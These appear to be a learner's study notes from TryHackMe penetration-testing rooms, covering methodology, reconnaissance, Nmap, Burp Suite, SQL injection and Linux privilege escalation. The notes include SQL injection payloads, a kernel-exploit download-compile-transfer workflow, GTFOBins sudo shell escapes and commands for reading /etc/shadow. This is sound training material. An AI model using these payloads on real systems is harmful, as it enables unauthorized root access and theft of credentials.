Pentesting Fundamentals

1. What is Penetration Testing:

- There are over 2,200 cyber-attacks every day - 1 attack every 39 seconds.

2. Penetration Testing Ethics:

- White VS Grey VS Black Hat Hackers
- Rules of Engagement

3. Penetration Testing Methodologies:

- Pentesting Stages:
  - Information Gathering
  - Enumeration/Scanning
  - Exploitation
  - Privilege Escalation
  - Post-exploitation
    - 1. What other hosts can be targeted (pivoting)
    - 2. What additional information can we gather
    - 3. Covering your tracks
    - 4. Reporting
- OSSTMM (The Open-Source Security Testing Methodology Manual)
- OWASP (Open Web Application Security Project)
- NIST Cybersecurity Framework 1.1 (National Institute of Standards & Technology)
- NCSC CAF (National Cyber Security Center Cyber Assessment Framework)

4. Black, White & Grey box Penetration Testing

5. Practical: ACME Penetration Test

Principles of Security

1. Introduction:

- Defense In Depth

2. The CIA Triad:

- Confidentiality
- Integrity
- Availability

3. Principles of Privileges:

- The levels of access given to individuals are determined on 2 factors:
  - The individual's role/function within the organization
  - The sensitivity of the information being stored on the system_
- Privileged Identity Management (PIM)
- Privileged Access Management (PAM)
- Principle of least privilege

4. Security Models Continued:

- The Bell-La Padula Model (Confidentiality| Can't read up, can read down)
  - Vetting
- Biba Model (Integrity| Can read up, can't read down)
- "No write down, No read up" RULE

5. Threat Modelling & Incident Response:

- Threat Modelling Process
  - Preparation
  - Identification
  - Mitigations
  - Review
- Effective Threat Model
  - Threat intelligence
  - Asset identification
  - Mitigation capabilities
  - Risk assessment
- STRIDE
  - Spoofing identity
  - Tampering with data
  - Repudiation threats
  - Information disclosure
  - Denial of Service
  - Elevation of privileges
- PASTA (Process for Attack Simulation and Threat Analysis)
- Incident Response (IR)
- Urgency & Impact Classification
- CSIRT (Computer Security Incident Response Team)
- Six Phases of Incident Response
  - Preparation
  - Identification
  - Containment
  - Eradication
  - Recovery
  - Lessons Learned

Walking An Application

1. Walking An Application:

- View Source: Used to view the human-readable source code of a website
- Inspector: Learn how to inspect page elements and make changes to usually view blocked content
- Debugger: Inspect and control the flow of a page's JavaScript
- Network: See all the network requests a page makes

2. Exploring The Website

3. Viewing The Page Source

4. Developer Tools – Inspector “F12”

5. Developer Tools – Debugger

6. Developer Tools - Network

Content Discovery

1. **Walking An Application**
2. **Manual Discovery - /Robots.txt**
3. **Manual Discovery - Favicon:**

   `https://wiki.owasp.org/index.php/OWASP_favicon_database`

   Curl https://.../favicon.ico | md5sum
4. **Manual Discovery - /Sitemap.xml**
5. **Manual Discovery - HTTP Headers:**

   Curl http://{IP_ADDRESS} -v
6. **Manual Discovery - Framework Stack**
7. **OSINT - Google Hacking / Dorking:**

   OSINT (Open-Source Intelligence)

site	site: tryhackme.com	Returns results only from the specified website address
inurl	inurl: admin	Returns results that have the specified word in the URL
filetype	Filetype: pdf	Returns results which are a particular file extension
intitle	intitle: admin	Returns results that contain the specified word in the title

   `https://en.wikipedia.org/wiki/Google_hacking`
8. **OSINT – Wappalyzer:**

   `https://www.wappalyzer.com/`
9. **OSINT - Wayback Machine:**

   `https://archive.org/web/`
10. **OSINT – GitHub:**

    Version Control System
11. **OSINT - S3 Buckets:**

    `http(s)://`**`{name}.s3.amazonaws.com`**
    - **`{name}`**`-assets | `**`{name}`**`-www | `**`{name}`**`-public | `**`{name}`**`-private`
12. **Automated Discovery:**

    Wordlists: `https://github.com/danielmiessler/SecLists`

- **ffuf** -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u **http://{IP_Add}**
- **dirb** http:// **{IP_Add}** //usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
- **gobuster** dir --url http://**{IP_Add}** / -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

SQL injection

1. Brief

2. What is a Database?

3. What is SQL?

SELECT * {col_name} FROM {table} WHERE {condition} LIMIT 2,1;
{condition} → (OR, AND), LIKE 'a%'
SELECT {col_names} FROM {table1} **UNION** SELECT {col_names} FROM {table2};
INSERT INTO {table} ({col_name}, {col_name}) VALUES ('{val_1}', '{val_2}');
UPDATE {table} SET {col_1} = '{val_1}', {col_2} = '{val_2}' WHERE {condition};
DELETE FROM {table} WHERE {condition};
DELETE FROM {table} → Empty the table

4. What is SQL Injection?

Using -- & ; as user input in SQL Statement

5. In-Band SQLi:

- In-Band SQL Injection
- Error-Based SQL Injection
- Union-Based SQL Injection

0 UNION SELECT 1,2,group_concat(name, ':', password) FROM users

6. Blind SQLi - Authentication Bypass:

' OR 1=1;--

7. Blind SQLi - Boolean Based:

Trying Possibilities with LIKE operator until you found a match (return True '1')

8. Blind SQLi - Time Based:

Trying Possibilities with LIKE operator until you found a match (**Delay**)
SLEEP(5) "4961"

9. Out-of-Band SQLi:

1) An attacker makes a request to a website vulnerable to SQLI with an injection payload.
2) The Website makes an SQL query to the database which also passes the hacker's payload.

3) The payload contains a request which forces an HTTP request back to the hacker's machine

10. Remediation:

- Prepared Statements (With Parameterized Queries)
- Input Validation
- Escaping User Input

Burp suite Basics

1. **Outline**
2. **What is Burp Suite?**
   - Burp Suite was written in Java
   - https://tryhackme.com/room/rpnessusredux (NESSUS)
3. **Features of Burp Community**
4. **Installation:**
5. **The Dashboard**
6. **Navigation**
7. **Options**
8. **Introduction to the Burp Proxy**
9. **Connecting through the Proxy (Foxy Proxy)**
10. **Proxying HTTPS**
11. **The Burp Suite Browser**
12. **Scoping and Targeting**
13. **Site Map and Issue Definitions**
14. **Practical**
15. **Conclusion**

Burp suite repeater

1. Outline
2. What is Repeater?
    - List of Repeater requests
    - Controls for the current request
    - Request and response view
    - Options allowing us to change the layout
    - Inspector
    - Target
3. Basic Usage
4. Views:
    - Pretty
    - Raw
    - Hex
    - Render
5. The Inspector:
    - Query Parameters
    - Body Parameters
    - Request Cookies
    - Request Headers
    - Response Headers
6. Example
7. Challenge
8. SQLi with Repeater
9. Room Conclusion

Passive Reconnaissance

1. Introduction

2. Passive Versus Active Recon:

https://www.unifiedkillchain.com/

3. Whois:

- Registrar: Via which registrar was the domain name registered?
- Contact info of registrant: Name, organization, address, phone, among other things.
- Creation, update, and expiration dates: When was the domain name first registered?
- Name Server: Which server to ask to resolve the domain name?

4. nslookup and dig:

nslookup OPTIONS DOMAIN_NAME SERVER

nslookup -type=A tryhackme.com 8.8.8.8

- A → IPv4 Addresses
- AAAA → IPv6 Addresses
- CNAME → Canonical Name
- MX → Mail Servers
- SOA → Start of Authority
- TXT → TXT Records Raw

dig @SERVER DOMAIN_NAME TYPE

5. DNSDumpster:

https://dnsdumpster.com/

6. Shodan.io:

https://www.shodan.io/

https://tryhackme.com/room/shodan

7. Summary:

https://tryhackme.com/room/dnsindetail

active Reconnaissance

1. **Introduction**
2. **Web Browser:**
3. **Ping:**
4. **Traceroute:**
5. **Telnet:**
6. **Netcat:**
   - -l → Listen mode
   - -p → Specify the Port number
   - -n → Numeric only; no resolution of hostnames via DNS
   - -v → Verbose output (optional, yet useful to discover an bugs)
   - -vv → Very Verbose (optional)
   - -k → Keep listening after client disconnects
7. **Putting It All Together:**
   - ping → ping -c 10 10.10.82.94 on Linux or macOS
ping -n 10 10.10.82.94 on MS Windows
   - traceroute → traceroute 10.10.82.94 on Linux or macOS
   - tracert → tracert 10.10.82.94 on MS Windows
   - telnet → telnet 10.10.82.94 PORT_NUMBER
   - netcat as client → nc 10.10.82.94 PORT_NUMBER
   - netcat as server → nc -lvnp PORT_NUMBER

Nmap Live Host Discovery

1. Introduction:

1. Targets Enumeration
2. Discovering Live Hosts
3. Reverse DNS Lookup
4. Scan Ports
5. Detect Versions
6. Detect OS
7. Traceroute
8. Scripts
9. Write Outputs

➔ Nmap Scan Steps

2. Subnetworks

3. Enumerating Targets

4. Discovering Live Hosts:

- ARP from Link Layer
- ICMP from Network Layer
- TCP from Transport Layer
- UDP from Transport Layer

5. Nmap Host Discovery Using ARP:

http://www.royhills.co.uk/wiki/index.php/Main_Page

-I Interface -I Localhost

6. Nmap Host Discovery Using ICMP

7. Nmap Host Discovery Using TCP and UDP:

masscan MACHINE_IP/24 --top-ports 100

8. Using Reverse-DNS Lookup

9. Summary:

ARP Scan → sudo nmap -PR -sn MACHINE_IP/24

ICMP Echo Scan → sudo nmap -PE -sn MACHINE_IP/24

ICMP Timestamp Scan → sudo nmap -PP -sn MACHINE_IP/24

ICMP Address Mask Scan → sudo nmap -PM -sn MACHINE_IP/24

TCP SYN Ping Scan → sudo nmap -PS22-25 -sn MACHINE_IP/30

TCP ACK Ping Scan → sudo nmap -PA22,80 -sn MACHINE_IP/30

UDP Ping Scan → sudo nmap -PU53,161 -sn MACHINE_IP/30

VULNERABILITIES 101

1. Introduction:

2. Introduction to Vulnerabilities (Categories):

- **Operating System:** These types of vulnerabilities are found within Operating Systems (OSs) and often result in privilege escalation.
- **(Mis)Configuration-based:** These types of vulnerability stem from an incorrectly configured application or service. (Website exposing customer details)
- **Weak or Default Credentials:** Applications and services that have an element of authentication will come with default credentials when installed. (Username and password of "admin")
- **Application Logic:** These vulnerabilities are a result of poorly designed applications. (Poorly Authentication Mechanisms)
- **Human-Factor:** Human-Factor vulnerabilities are vulnerabilities that leverage human behavior. (Phishing emails)

3. Scoring Vulnerabilities (CVSS & VPR):

CVSS → Common Vulnerability Scoring System
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

VPR → Vulnerability Priority Rating
(Same as CVSS But no : *"None/Information"* Rating)

None	0
Low	0.1 - 3.9
Medium	4.0 - 6.9
High	7.0 - 8.9
Critical	9.0 - 10.0

4. Vulnerability Databases:

- NVD (National Vulnerability Database): https://nvd.nist.gov/vuln/full-listing
- Exploit-DB: https://exploit-db.com/
- PoC (Proof of Concept): Demonstrates the exploitation of a vulnerability.

5. An Example of Finding a Vulnerability

6. Showcase: Exploiting Ackme's Application:

7. Conclusion:

METASPLOIT: INTRODUCTION

1. Introduction to Metasploit:

2. Main Components of Metasploit:

- Exploit: A piece of code that uses a vulnerability on the target system.
- Vulnerability: A design, coding, or logic flaw affecting the target system.
- Payload: An exploit will take advantage of a vulnerability.
    - Singles: Self-contained payloads that do not need to download components to run.
    - Stagers: Responsible for setting up a connection channel between Metasploit and the target system. Useful when working with staged payloads.
    - Stages: Downloaded by the stager. This will allow you to use larger sized payloads.
- Encoders: Encoders will allow you to encode the exploit and payload.
- Evasion: Not considered a direct attempt to evade antivirus software.
- NOPs: (No Operation) do nothing, literally.

3. Msfconsole:

https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking

4. Working with modules

5. Summary

LINUX PRIVILEGE ESCALATION

1. Introduction

2. What is Privilege Escalation?

Used In:

- Resetting passwords
- Bypassing access controls to compromise protected data
- Editing software configurations
- Enabling persistence
- Changing the privilege of existing (or new) users
- Execute any administrative command

3. Enumeration:

- hostname
- /etc/issue
- sudo -l
- /etc/passwd
- netstat
- uname -a
- ps -A
- ls -la
- history
- find
- /proc/version (uname -r)
- env
- id
- ifconfig

4. Automated Enumeration Tools:

LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
LinEnum: https://github.com/rebootuser/LinEnum
LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
Linux Priv Checker: https://github.com/linted/linuxprivchecker

5. Privilege Escalation: Kernel Exploits:

(HOW YOU CAN USE PRE-EXPLOITED KERNEL PAYLOADS TO GAIN ROOT ACCESS)

- Identify the kernel version
- Search for an exploit code for the kernel version of the target system
- Run the exploit
- https://www.linuxkernelcves.com/cves

- https://www.exploit-db.com/download/37292 //exploit file (kernel version)
- gcc 37292.c -o privesc //run the exploit to a file
- sudo python3 -m http.server //run http server
- wget http://{Machine_IP}:8000/privesc //transfer the file to the target
- chmod +x privesc //change the permissions to exc.
- ./privesc //run the payload

NOW YOU HAVE ROOT ACESS TO THE MACHINE

- cd matt //go to the root home
- cat flag1.txt (THM-28392872729920) //read the flag

6. Privilege Escalation: Sudo:

(HOW YOU CAN USE SOME COMMANDS IN SUDO RIGHTS TO GAIN ROOT ACCESS)

- Check for LD_PRELOAD (with the env_keep option)
- Write a simple C code compiled as a share object (.so extension) file
- Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file

How to use SUDO rights for each command: https://gtfobins.github.io/ (SUDO -l)

- sudo -l //see the commands that you have root access to
- Go to gtfobins //search for nano in the website
- sudo nano //open nano as super user
- ^R^X //switch to command mode
- reset; sh 1>&0 2>&0 //change privileges

NOW YOU HAVE ROOT ACESS TO THE MACHINE

- cd ubuntu //go to the root home
- cat flag2.txt (THM-402028394) //read the flag
- ---
- sudo nmap –interactive //span a root shell
- ---
- cat /etc/shadow //show all users password hashes

7. Privilege Escalation: SUID:

(HOW YOU CAN ADD A USER WITH ROOT PRIVLEGES TO GAIN ROOT ACCESS)

find / -type f -perm -04000 -ls 2>/dev/null → Redirect the errors (Not Showing them)

Unshadow using johntheripper tool

If you can't use **cat** to read a file you can use:

- **LFILE**={Path of the file you want to read}
- **/usr/bin/base64** "$LFILE" | base64 --decode

8. Privilege Escalation: Capabilities:

(HOW YOU CAN USE SOME CAPABILITIES WITH SETUID TO GAIN ROOT ACCESS)

9. Privilege Escalation: Cron Jobs:

(HOW YOU CAN USE BACKUP (DELETED) CONFIGURATION FILES TO GAIN ROOT ACCESS)

/etc/crontab: if there is a scheduled task that runs with root privileges, and we can change the script that will be run, then our script will run with root privileges.

Crontab is always worth checking as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:

- System administrators need to run a script at regular intervals.
- They create a cron job to do this
- After a while, the script becomes useless, and they delete it
- They do not clean the relevant cron job

(NOTE: BEST PRACTICE USE REVERSE SHELLS)

10. Privilege Escalation: PATH:

(HOW YOU CAN USE & MANIPULATE DEFAULT PATH FILES TO GAIN ROOT ACCESS)

- What folders are located under $PATH
- Does your current user have write privileges for any of these folders?
- Can you modify $PATH?
- Is there a script/application you can start that will be affected by this vulnerability?

find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

11. Privilege Escalation: NFS:

(HOW YOU CAN USE NETWORK SHARING FILES TO GAIN ROOT ACCESS)

NFS (Network File Sharing) → /etc/exports

showmount -e {Machine_IP}

12. Capstone Challenge:

Walkthrough:

Video: https://www.youtube.com/watch?v=7WQndt-1WzE